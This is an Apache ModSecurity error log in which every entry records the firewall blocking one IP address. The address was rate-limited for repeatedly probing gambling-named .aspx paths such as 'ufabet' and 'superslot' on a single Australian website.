[Sat Apr 11 04:45:41.782163 2026] [:error] [pid 33173:tid 33265] [client 51.83.238.207:50084] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "adlhda8109xRDP2izWiigQAAAJQ"]
[Sat Apr 11 04:45:42.706911 2026] [:error] [pid 33288:tid 33308] [client 51.83.238.207:50108] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "adlhdmJmwJFFPEgRHfHzCgAAANI"]
[Sat Apr 11 04:45:43.349891 2026] [:error] [pid 33171:tid 33199] [client 51.83.238.207:50114] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adlhd7oqTMlo30hcVw82XAAAAA0"]
[Sat Apr 11 04:45:44.426832 2026] [:error] [pid 33288:tid 33293] [client 51.83.238.207:50128] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "adlheGJmwJFFPEgRHfHzEwAAAMM"]
[Sat Apr 11 04:45:44.840770 2026] [:error] [pid 33288:tid 33304] [client 51.83.238.207:50134] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adlheGJmwJFFPEgRHfHzFgAAAM4"]
[Sat Apr 11 04:45:46.493554 2026] [:error] [pid 33173:tid 33258] [client 51.83.238.207:50140] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "adlheq8109xRDP2izWiipwAAAI0"]
[Sat Apr 11 04:45:46.849647 2026] [:error] [pid 33173:tid 33248] [client 51.83.238.207:50154] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "adlheq8109xRDP2izWiiqwAAAIM"]
[Sat Apr 11 04:45:47.175390 2026] [:error] [pid 33288:tid 33294] [client 51.83.238.207:50164] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "adlhe2JmwJFFPEgRHfHzIAAAAMQ"]
[Sat Apr 11 04:45:47.707519 2026] [:error] [pid 33288:tid 33296] [client 51.83.238.207:50172] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "adlhe2JmwJFFPEgRHfHzJAAAAMY"]
[Sat Apr 11 04:45:49.668437 2026] [:error] [pid 33172:tid 33221] [client 51.83.238.207:37474] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "adlhfTn2G0IJw5EZY9kQOgAAAEM"]
[Sat Apr 11 04:45:49.833471 2026] [:error] [pid 33172:tid 33220] [client 51.83.238.207:37486] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "adlhfTn2G0IJw5EZY9kQPAAAAEI"]
[Sat Apr 11 04:45:50.260573 2026] [:error] [pid 33173:tid 33261] [client 51.83.238.207:37490] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "adlhfq8109xRDP2izWiiwAAAAJA"]
[Sat Apr 11 04:45:51.061221 2026] [:error] [pid 33288:tid 33310] [client 51.83.238.207:37492] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "adlhf2JmwJFFPEgRHfHzNwAAANQ"]
[Sat Apr 11 04:45:52.285291 2026] [:error] [pid 33171:tid 33201] [client 51.83.238.207:37506] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "adlhgLoqTMlo30hcVw82aQAAAA8"]
[Sat Apr 11 04:45:52.440149 2026] [:error] [pid 33172:tid 33229] [client 51.83.238.207:37518] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "adlhgDn2G0IJw5EZY9kQQAAAAEs"]
[Sat Apr 11 04:45:53.056966 2026] [:error] [pid 33172:tid 33233] [client 51.83.238.207:37522] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "adlhgTn2G0IJw5EZY9kQQwAAAE8"]
[Sat Apr 11 04:45:54.139832 2026] [:error] [pid 33288:tid 33291] [client 51.83.238.207:37526] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "adlhgmJmwJFFPEgRHfHzSQAAAME"]
[Sat Apr 11 04:45:54.862266 2026] [:error] [pid 33172:tid 33218] [client 51.83.238.207:37538] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adlhgjn2G0IJw5EZY9kQSAAAAEA"]
[Sat Apr 11 04:45:55.834164 2026] [:error] [pid 33288:tid 33297] [client 51.83.238.207:37546] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "adlhg2JmwJFFPEgRHfHzTwAAAMc"]
[Sat Apr 11 04:45:55.903477 2026] [:error] [pid 33288:tid 33294] [client 51.83.238.207:37558] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "adlhg2JmwJFFPEgRHfHzUQAAAMQ"]
[Sat Apr 11 04:45:57.459185 2026] [:error] [pid 33172:tid 33224] [client 51.83.238.207:37574] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "adlhhTn2G0IJw5EZY9kQUgAAAEY"]
[Sat Apr 11 04:45:57.495090 2026] [:error] [pid 33173:tid 33250] [client 51.83.238.207:37590] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "adlhha8109xRDP2izWii8AAAAIU"]
[Sat Apr 11 04:45:58.613887 2026] [:error] [pid 33288:tid 33293] [client 51.83.238.207:51246] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "adlhhmJmwJFFPEgRHfHzXAAAAMM"]
[Sat Apr 11 04:45:59.100280 2026] [:error] [pid 33173:tid 33265] [client 51.83.238.207:51248] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "adlhh68109xRDP2izWii-wAAAJQ"]
[Sat Apr 11 04:46:00.410394 2026] [:error] [pid 33173:tid 33249] [client 51.83.238.207:51260] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adlhiK8109xRDP2izWijAwAAAIQ"]
[Sat Apr 11 04:46:00.484815 2026] [:error] [pid 33173:tid 33264] [client 51.83.238.207:51266] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "adlhiK8109xRDP2izWijBQAAAJM"]
[Sat Apr 11 04:46:01.919668 2026] [:error] [pid 33173:tid 33251] [client 51.83.238.207:51286] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "adlhia8109xRDP2izWijDgAAAIY"]
[Sat Apr 11 04:46:09.055426 2026] [:error] [pid 33173:tid 33261] [client 51.83.238.207:51330] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adlhka8109xRDP2izWijKAAAAJA"]
[Sat Apr 11 04:46:09.587829 2026] [:error] [pid 33171:tid 33209] [client 51.83.238.207:52174] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "adlhkboqTMlo30hcVw82ngAAABc"]
[Sat Apr 11 04:46:09.896284 2026] [:error] [pid 33288:tid 33295] [client 51.83.238.207:51300] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adlhkWJmwJFFPEgRHfHzwQAAAMU"]
[Sat Apr 11 04:46:10.149833 2026] [:error] [pid 33173:tid 33252] [client 51.83.238.207:51316] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "adlhkq8109xRDP2izWijKQAAAIc"]
[Sat Apr 11 04:46:11.132040 2026] [:error] [pid 33288:tid 33303] [client 51.83.238.207:51282] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adlhk2JmwJFFPEgRHfHzxwAAAM0"]
[Sat Apr 11 04:46:12.253927 2026] [:error] [pid 33173:tid 33269] [client 51.83.238.207:52176] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "adlhlK8109xRDP2izWijNgAAAJg"]
[Sat Apr 11 04:46:12.439900 2026] [:error] [pid 33173:tid 33263] [client 51.83.238.207:52184] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adlhlK8109xRDP2izWijOAAAAJI"]
[Sat Apr 11 04:46:13.141826 2026] [:error] [pid 33172:tid 33234] [client 51.83.238.207:52198] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adlhlTn2G0IJw5EZY9kQegAAAFA"]
[Sat Apr 11 04:46:13.704192 2026] [:error] [pid 33172:tid 33222] [client 51.83.238.207:52210] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "adlhlTn2G0IJw5EZY9kQewAAAEQ"]
[Sat Apr 11 04:46:14.092302 2026] [:error] [pid 33171:tid 33189] [client 51.83.238.207:52214] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adlhlroqTMlo30hcVw82wAAAAAM"]
[Sat Apr 11 04:46:14.699451 2026] [:error] [pid 33288:tid 33292] [client 51.83.238.207:52226] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "adlhlmJmwJFFPEgRHfHz2AAAAMI"]
[Sat Apr 11 04:46:15.391125 2026] [:error] [pid 33173:tid 33260] [client 51.83.238.207:52228] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adlhl68109xRDP2izWijOwAAAI8"]
[Sat Apr 11 04:46:16.252076 2026] [:error] [pid 33288:tid 33310] [client 51.83.238.207:52234] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adlhmGJmwJFFPEgRHfHz3QAAANQ"]
[Sat Apr 11 04:46:17.218412 2026] [:error] [pid 33171:tid 33192] [client 51.83.238.207:52258] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "adlhmboqTMlo30hcVw820gAAAAY"]
[Sat Apr 11 04:46:17.400342 2026] [:error] [pid 33171:tid 33199] [client 51.83.238.207:52272] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adlhmboqTMlo30hcVw821AAAAA0"]
[Sat Apr 11 04:46:17.974354 2026] [:error] [pid 33171:tid 33187] [client 51.83.238.207:52250] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "adlhmboqTMlo30hcVw822QAAAAE"]
[Sat Apr 11 04:46:18.202517 2026] [:error] [pid 33172:tid 33238] [client 51.83.238.207:36006] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adlhmjn2G0IJw5EZY9kQjwAAAFQ"]
[Sat Apr 11 04:46:19.249418 2026] [:error] [pid 33288:tid 33304] [client 51.83.238.207:36018] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "adlhm2JmwJFFPEgRHfHz5wAAAM4"]
[Sat Apr 11 04:46:20.035333 2026] [:error] [pid 33173:tid 33253] [client 51.83.238.207:36022] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "adlhnK8109xRDP2izWijQQAAAIg"]
[Sat Apr 11 04:46:20.698244 2026] [:error] [pid 33173:tid 33254] [client 51.83.238.207:36034] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adlhnK8109xRDP2izWijRQAAAIk"]
[Sat Apr 11 04:46:21.168891 2026] [:error] [pid 33171:tid 33205] [client 51.83.238.207:36048] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "adlhnboqTMlo30hcVw826QAAABM"]
[Sat Apr 11 04:46:21.372569 2026] [:error] [pid 33171:tid 33188] [client 51.83.238.207:36050] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adlhnboqTMlo30hcVw826wAAAAI"]
[Sat Apr 11 04:46:22.195121 2026] [:error] [pid 33173:tid 33264] [client 51.83.238.207:36064] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adlhnq8109xRDP2izWijTAAAAJM"]
[Sat Apr 11 04:46:22.758075 2026] [:error] [pid 33172:tid 33236] [client 51.83.238.207:36072] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adlhnjn2G0IJw5EZY9kQnAAAAFI"]
[Sat Apr 11 04:46:23.696958 2026] [:error] [pid 33288:tid 33305] [client 51.83.238.207:36086] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "adlhn2JmwJFFPEgRHfHz_AAAAM8"]
[Sat Apr 11 04:46:24.142279 2026] [:error] [pid 33288:tid 33297] [client 51.83.238.207:36078] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "adlhoGJmwJFFPEgRHfHz_gAAAMc"]
[Sat Apr 11 04:46:24.485389 2026] [:error] [pid 33288:tid 33290] [client 51.83.238.207:36098] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adlhoGJmwJFFPEgRHfH0AQAAAMA"]
[Sat Apr 11 04:46:25.273199 2026] [:error] [pid 33171:tid 33210] [client 51.83.238.207:36102] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adlhoboqTMlo30hcVw82_gAAABg"]
